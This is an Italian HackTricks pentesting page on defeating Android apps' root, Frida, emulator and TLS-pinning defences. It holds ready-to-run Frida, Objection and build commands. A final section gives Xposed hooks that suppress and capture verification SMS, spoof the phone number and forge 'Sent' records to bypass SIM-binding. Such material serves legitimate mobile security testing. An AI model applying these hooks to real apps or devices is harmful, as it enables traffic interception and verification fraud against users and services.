Anti‑instrumentazione Android & Bypass SSL Pinning (Frida/Objection)

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks

Questa pagina fornisce un workflow pratico per recuperare l’analisi dinamica contro app Android che rilevano/bloccano l’instrumentation su root o che impongono TLS pinning. Si concentra su triage veloce, rilevamenti comuni e hook/tattiche copiabili e incollabili per bypassarli senza repacking quando possibile.

Detection Surface (what apps check)

  • Root checks: su binary, Magisk paths, getprop values, common root packages
  • Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs
  • Native anti‑debug: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks
  • Early init checks: Application.onCreate() or process start hooks that crash if instrumentation is present
  • TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins

Bypassing Anti‑Frida Detection / Stealth Frida Servers

phantom-frida rebuilds Frida from source and applies ~90 patches so common Frida fingerprints disappear while the stock Frida protocol remains compatible (frida-tools can still connect). Target: app che eseguono grep su /proc (cmdline, maps, task comm, fd readlink), nomi di servizio D‑Bus, porte di default, o simboli esportati.

Fasi:

  • Source patches: rinomina globale degli identificatori frida (server/agent/helper) e ricostruzione del helper DEX con un package Java rinominato.
  • Targeted build/runtime patches: meson tweaks, memfd label cambiata in jit-cache, SELinux labels (es. frida_file) rinominate, libc hooks su exit/signal disabilitati per evitare hook‑detectors.
  • Post-build rename: simbolo esportato frida_agent_main rinominato dopo la prima compilazione (Vala lo emette), richiedendo una seconda build incrementale.
  • Binary hex patches: nomi dei thread (gmain, gdbus, pool-spawner) sostituiti; sweep opzionale rimuove le stringhe residue frida/Frida.

Vettori di rilevamento coperti:

  • Base (1–8): nome del processo frida-server, mapped libfrida-agent.so, nomi dei thread, memfd label, esportato frida_agent_main, SELinux labels, effetti collaterali dei libc hook, e servizio D‑Bus re.frida.server sono rinominati/neutralizzati.
  • Extended (9–16): cambio della porta di ascolto (--port), rinomina delle interfacce D‑Bus/simboli C interni/nomi GType, percorsi temporanei come .frida/frida-, sweep delle stringhe binarie, rinomina dei define a build‑time e dei percorsi degli asset (libdir/frida). I nomi delle interfacce D‑Bus che fanno parte del protocollo wire restano invariati in modalità base per evitare di rompere i client stock.

Build/uso (esempio Android arm64):

python3 build.py --version 17.7.2 --name myserver --port 27142 --extended --verify
adb push output/myserver-server-17.7.2-android-arm64 /data/local/tmp/myserver-server
adb shell chmod 755 /data/local/tmp/myserver-server
adb shell /data/local/tmp/myserver-server -D &
adb forward tcp:27142 tcp:27142
frida -H 127.0.0.1:27142 -f com.example.app

Flags: --skip-build (patch only), --skip-clone, --arch, --ndk-path, --temp-fixes; WSL helper: wsl -d Ubuntu bash build-wsl.sh.

Fase 1 — Soluzione rapida: hide root con Magisk DenyList

  • Abilita Zygisk in Magisk
  • Abilita DenyList, aggiungi il target package
  • Riavvia e ritesta

Molte app cercano solo indicatori ovvi (su/Magisk paths/getprop). DenyList spesso neutralizza controlli ingenui.

Riferimenti:

  • Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk

Rilevamenti Play Integrity / Zygisk (post‑SafetyNet)

Le nuove app bancarie/di identità collegano i controlli runtime a Google Play Integrity (sostituto di SafetyNet) e possono anche andare in crash se Zygisk è presente. Suggerimenti rapidi per il triage:

  • Disabilita temporaneamente Zygisk (toggle off + reboot) e riprova; alcune app vanno in crash non appena Zygote injection si carica.
  • Se l’attestazione blocca il login, applica una patch a Google Play Services con PlayIntegrityFix/Fork + TrickyStore o usa ReZygisk/Zygisk‑Next solo durante i test. Mantieni il target in DenyList ed evita moduli LSPosed che leak props.
  • Per esecuzioni singole, usa KernelSU/APatch (no Zygote injection) per restare sotto le euristiche di Zygisk, poi attacca Frida.

Fase 2 — Test Frida Codeshare da 30 secondi

Prova script drop‑in comuni prima di approfondire:

  • anti-root-bypass.js
  • anti-frida-detection.js
  • hide_frida_gum.js

Esempio:

frida -U -f com.example.app -l anti-frida-detection.js

Questi moduli tipicamente ignorano i controlli Java per root/debug, le scansioni di processi/servizi e il ptrace() nativo. Utile su app poco protette; i target fortemente protetti potrebbero richiedere hook su misura.

  • Codeshare: https://codeshare.frida.re/

Automatizza con Medusa (Frida framework)

Medusa fornisce oltre 90 moduli pronti all’uso per SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception e altro.

git clone https://github.com/Ch0pin/medusa
cd medusa
pip install -r requirements.txt
python medusa.py

# Example interactive workflow
show categories
use http_communications/multiple_unpinner
use root_detection/universal_root_detection_bypass
run com.target.app

Suggerimento: Medusa è ottimo per risultati rapidi prima di scrivere custom hooks. Puoi anche selezionare moduli singoli e combinarli con i tuoi script.

Automatizzare con Auto-Frida (spawn-mode + consolidated hooks)

Auto-Frida è un toolkit di automazione per Frida che si concentra su setup ripetibile oltre al rilevamento automatico delle protezioni e alla generazione consolidata di bypass script. È utile quando le app eseguono controlli nelle fasi iniziali o quando più bypass modules altrimenti rischierebbero di double-hookare le stesse API.

Concetti chiave dell’automazione:

  • Spawn-mode analysis per installare hooks prima di Application.onCreate() in modo che controlli precoci come SSL pinning, root, emulator o anti-Frida vengano intercettati.
  • Protection detection + auto-bypass: i risultati del rilevamento guidano la generazione di un unico script consolidato che effettua hook su ogni Java method/native symbol una sola volta, riducendo i crash dovuti a overlapping hooks.
  • Frida server lifecycle checks: validare lo stato del server (process + port 27042 + frida-ps handshake) prima di scaricare/riavviare per mantenere le esecuzioni stabili.

Avvio rapido:

git clone https://github.com/ommirkute/Auto-Frida.git
cd Auto-Frida
pip install -r requirements.txt
python auto_frida.py

Note

  • Auto-Frida può installare automaticamente frida/frida-tools se mancanti e supporta la selezione multi-device.
  • Gli script generati possono essere eseguiti immediatamente o uniti ai tuoi custom hooks dopo l’analisi.

Passo 3 — Bypass init-time detectors by attaching late

Molte rilevazioni vengono eseguite solo durante lo spawn del processo/onCreate(). Spawn‑time injection (-f) o gadgets vengono intercettati; collegarsi dopo il caricamento della UI può aggirarle.

# Launch the app normally (launcher/adb), wait for UI, then attach
frida -U -n com.example.app
# Or with Objection to attach to running process
aobjection --gadget com.example.app explore  # if using gadget

Se questo funziona, mantieni la sessione stabile e procedi a mappare e verificare gli stub.

Passo 4 — Mappare la logica di rilevamento tramite Jadx e ricerca di stringhe

Parole chiave per il triage statico in Jadx:

  • “frida”, “gum”, “root”, “magisk”, “ptrace”, “su”, “getprop”, “debugger”

Pattern Java tipici:

public boolean isFridaDetected() {
return getRunningServices().contains("frida");
}

API comuni da esaminare/hook:

  • android.os.Debug.isDebuggerConnected
  • android.app.ActivityManager.getRunningAppProcesses / getRunningServices
  • java.lang.System.loadLibrary / System.load (native bridge)
  • java.lang.Runtime.exec / ProcessBuilder (probing commands)
  • android.os.SystemProperties.get (root/emulator heuristics)

Passo 5 — Runtime stubbing con Frida (Java)

Sovrascrivere le guardie personalizzate per restituire valori sicuri senza repacking:

Java.perform(() => {
const Checks = Java.use('com.example.security.Checks');
Checks.isFridaDetected.implementation = function () { return false; };

// Neutralize debugger checks
const Debug = Java.use('android.os.Debug');
Debug.isDebuggerConnected.implementation = function () { return false; };

// Example: kill ActivityManager scans
const AM = Java.use('android.app.ActivityManager');
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
});

Triaging dei crash iniziali? Dump classes poco prima che si arresti per individuare i namespace probabilmente usati per il rilevamento:

Java.perform(() => {
Java.enumerateLoadedClasses({
onMatch: n => console.log(n),
onComplete: () => console.log('Done')
});
});

Esempio rapido di stub per il rilevamento root (adattare ai nomi di package/class del target):

Java.perform(() => {
try {
const RootChecker = Java.use('com.target.security.RootCheck');
RootChecker.isDeviceRooted.implementation = function () { return false; };
} catch (e) {}
});

Log e neutralizza i metodi sospetti per confermare il flusso di esecuzione:

Java.perform(() => {
const Det = Java.use('com.example.security.DetectionManager');
Det.checkFrida.implementation = function () {
console.log('checkFrida() called');
return false;
};
});

Bypass emulator/VM detection (Java stubs)

Euristiche comuni: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE che contengono generic/goldfish/ranchu/sdk; artefatti QEMU come /dev/qemu_pipe, /dev/socket/qemud; MAC predefinito 02:00:00:00:00:00; NAT 10.0.2.x; assenza di telephony/sensors.

Falsificazione rapida dei campi Build:

Java.perform(function(){
var Build = Java.use('android.os.Build');
Build.MODEL.value = 'Pixel 7 Pro';
Build.MANUFACTURER.value = 'Google';
Build.BRAND.value = 'google';
Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
});

Completa con stubs per i controlli di esistenza dei file e per gli identificatori (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) in modo da restituire valori realistici.

SSL pinning bypass quick hook (Java)

Neutralizza i TrustManagers personalizzati e forza contesti SSL permissivi:

Java.perform(function(){
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
var SSLContext = Java.use('javax.net.ssl.SSLContext');

// No-op validations
X509TrustManager.checkClientTrusted.implementation = function(){ };
X509TrustManager.checkServerTrusted.implementation = function(){ };

// Force permissive TrustManagers
var TrustManagers = [ X509TrustManager.$new() ];
var SSLContextInit = SSLContext.init.overload('[Ljavax.net.ssl.KeyManager;','[Ljavax.net.ssl.TrustManager;','java.security.SecureRandom');
SSLContextInit.implementation = function(km, tm, sr){
return SSLContextInit.call(this, km, TrustManagers, sr);
};
});

Note

  • Estendi per OkHttp: hook okhttp3.CertificatePinner e HostnameVerifier secondo necessità, oppure usa uno script di unpinning universale da CodeShare.
  • Esempio di esecuzione: frida -U -f com.target.app -l ssl-bypass.js --no-pause

OkHttp4 / gRPC / Cronet pinning (2024+)

Gli stack moderni effettuano pin all’interno di API più recenti (OkHttp4+, gRPC su Cronet/BoringSSL). Aggiungi questi hook quando l’hook SSLContext di base si blocca:

Java.perform(() => {
try {
const Pinner = Java.use('okhttp3.CertificatePinner');
Pinner.check.overload('java.lang.String', 'java.util.List').implementation = function(){};
Pinner.check$okhttp.implementation = function(){};
} catch (e) {}

try {
const CronetB = Java.use('org.chromium.net.CronetEngine$Builder');
CronetB.enablePublicKeyPinningBypassForLocalTrustAnchors.overload('boolean').implementation = function(){ return this; };
CronetB.setPublicKeyPins.overload('java.lang.String', 'java.util.Set', 'boolean').implementation = function(){ return this; };
} catch (e) {}
});

Se TLS continua a fallire, passa al codice nativo e applica una patch ai punti di ingresso di verifica di BoringSSL usati da Cronet/gRPC:

const customVerify = Module.findExportByName(null, 'SSL_CTX_set_custom_verify');
if (customVerify) {
Interceptor.attach(customVerify, {
onEnter(args){
// arg0 = SSL_CTX*, arg1 = mode, arg2 = callback
args[1] = ptr(0); // SSL_VERIFY_NONE
args[2] = NULL;  // disable callback
}
});
}

Passo 6 — Segui la traccia JNI/native quando i hook Java falliscono

Traccia i punti di ingresso JNI per individuare native loaders e detection init:

frida-trace -n com.example.app -i "JNI_OnLoad"

Rapida analisi nativa dei file .so inclusi:

# List exported symbols & JNI
nm -D libfoo.so | head
objdump -T libfoo.so | grep Java_
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'

Reversing interattivo/native:

  • Ghidra: https://ghidra-sre.org/
  • r2frida: https://github.com/nowsecure/r2frida

Esempio: neutralizzare ptrace per aggirare un semplice anti‑debug in libc:

const ptrace = Module.findExportByName(null, 'ptrace');
if (ptrace) {
Interceptor.replace(ptrace, new NativeCallback(function () {
return -1; // pretend failure
}, 'int', ['int', 'int', 'pointer', 'pointer']));
}

Vedi anche: Reversing Native Libraries

Passo 7 — Objection patching (embed gadget / strip basics)

Quando preferisci repacking rispetto a runtime hooks, prova:

objection patchapk --source app.apk

Note:

  • Richiede apktool; assicurati di usare una versione aggiornata dalla guida ufficiale per evitare problemi di build: https://apktool.org/docs/install
  • Gadget injection consente instrumentation senza root ma può comunque essere rilevato da controlli init‑time più severi.

Facoltativamente, aggiungi moduli LSPosed e Shamiko per un nascondimento del root più efficace in ambienti Zygisk, e cura DenyList per coprire i processi figli.

Per un workflow completo, inclusa la configurazione di Gadget in script-mode e l’inclusione del tuo Frida 17+ agent nell’APK, vedi:

Frida Tutorial — Self-contained agent + Gadget embedding

Riferimenti:

  • Objection: https://github.com/sensepost/objection

Step 8 — Fallback: Patch TLS pinning per la visibilità della rete

Se l’instrumentation è bloccata, puoi comunque ispezionare il traffico rimuovendo lo pinning staticamente:

apk-mitm app.apk
# Then install the patched APK and proxy via Burp/mitmproxy
  • Strumento: https://github.com/shroudedcode/apk-mitm
  • Per i trucchi relativi al CA‑trust nella configurazione di rete (e per il trust dei CA utente in Android 7+), vedi:

Make APK Accept CA Certificate

Install Burp Certificate

LSPosed/Xposed Hooking Abuse (Telephony/SMS)

Su dispositivi rootati, i moduli LSPosed/Xposed possono fare hooking sulle API Java di telephony/SMS a runtime, mantenendo l’APK non modificato su disco e controllando completamente ciò che l’app vede. Questo viene comunemente abusato per bypassare i flussi di SIM‑binding che si fidano delle API telephony locali o dello stato del provider SMS locale.

Key primitives

  • Suppress outgoing verification SMS mentre si esfiltra il token annullando l’invocazione di SmsManager.sendTextMessage in beforeHookedMethod.
  • Spoof MSISDN/line number forzando TelephonyManager.getLine1Number() e SubscriptionInfo.getNumber() a restituire un valore controllato dall’attaccante.
  • Plant a fake “Sent” record nel provider SMS in modo che le app che controllano la cronologia SMS locale vedano un invio riuscito anche se l’operatore non l’ha mai ricevuto.

Example: block SMS dispatch and capture content

XposedHelpers.findAndHookMethod(
"android.telephony.SmsManager",
lpparam.classLoader,
"sendTextMessage",
String.class, String.class, String.class, PendingIntent.class, PendingIntent.class,
new XC_MethodHook() {
protected void beforeHookedMethod(MethodHookParam param) {
String body = (String) param.args[2];
// exfiltrate body to operator channel
param.setResult(null); // suppress real SMS send
}
}
);

Esempio: spoof del numero di telefono del dispositivo

XposedHelpers.findAndHookMethod(
"android.telephony.TelephonyManager",
lpparam.classLoader,
"getLine1Number",
new XC_MethodHook() {
protected void afterHookedMethod(MethodHookParam param) {
param.setResult(spoofedMsisdn);
}
}
);

XposedHelpers.findAndHookMethod(
"android.telephony.SubscriptionInfo",
lpparam.classLoader,
"getNumber",
new XC_MethodHook() {
protected void afterHookedMethod(MethodHookParam param) {
param.setResult(spoofedMsisdn);
}
}
);

Esempio: iniettare un falso record SMS “Sent”

ContentValues v = new ContentValues();
v.put("address", dest);
v.put("body", body);
v.put("type", 2);   // sent
v.put("status", 0); // success
context.getContentResolver().insert(Uri.parse("content://sms/sent"), v);

Scheda di riferimento rapido dei comandi

# List processes and attach
frida-ps -Uai
frida -U -n com.example.app

# Spawn with a script (may trigger detectors)
frida -U -f com.example.app -l anti-frida-detection.js

# Trace native init
frida-trace -n com.example.app -i "JNI_OnLoad"

# Objection runtime
objection --gadget com.example.app explore

# Static TLS pinning removal
apk-mitm app.apk

Forzatura universale del proxy + TLS unpinning (HTTP Toolkit Frida hooks)

Le app moderne spesso ignorano i proxy di sistema e applicano più livelli di pinning (Java + native), rendendo la cattura del traffico difficile anche con CA utente/di sistema installate. Un approccio pratico è combinare il TLS unpinning universale con la forzatura del proxy tramite Frida hooks pronti all’uso, e instradare tutto tramite mitmproxy/Burp.

Flusso di lavoro

  • Avvia mitmproxy sul tuo host (o Burp). Assicurati che il dispositivo possa raggiungere l’IP/porta dell’host.
  • Carica gli hook Frida consolidati di HTTP Toolkit per eseguire sia il TLS unpinning sia la forzatura dell’uso del proxy attraverso gli stack comuni (OkHttp/OkHttp3, HttpsURLConnection, Conscrypt, WebView, ecc.). Questo bypassa i controlli CertificatePinner/TrustManager e sovrascrive i proxy selectors, quindi il traffico viene sempre inviato tramite il tuo proxy anche se l’app disabilita esplicitamente i proxy.
  • Avvia l’app target con Frida e lo script hook, e cattura le richieste in mitmproxy.

Esempio

# Device connected via ADB or over network (-U)
# See the repo for the exact script names & options
frida -U -f com.vendor.app \
-l ./android-unpinning-with-proxy.js \
--no-pause

# mitmproxy listening locally
mitmproxy -p 8080

Note

  • Combinalo con un proxy di sistema via adb shell settings put global http_proxy <host>:<port> quando possibile. I Frida hooks forzeranno l’uso del proxy anche quando le app aggirano le impostazioni globali.
  • Questa tecnica è ideale quando devi effettuare un MITM nei flussi di onboarding mobile-to-IoT, in cui pinning/proxy avoidance è comune.
  • Hooks: https://github.com/httptoolkit/frida-interception-and-unpinning

Riferimenti

Tip

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Supporta HackTricks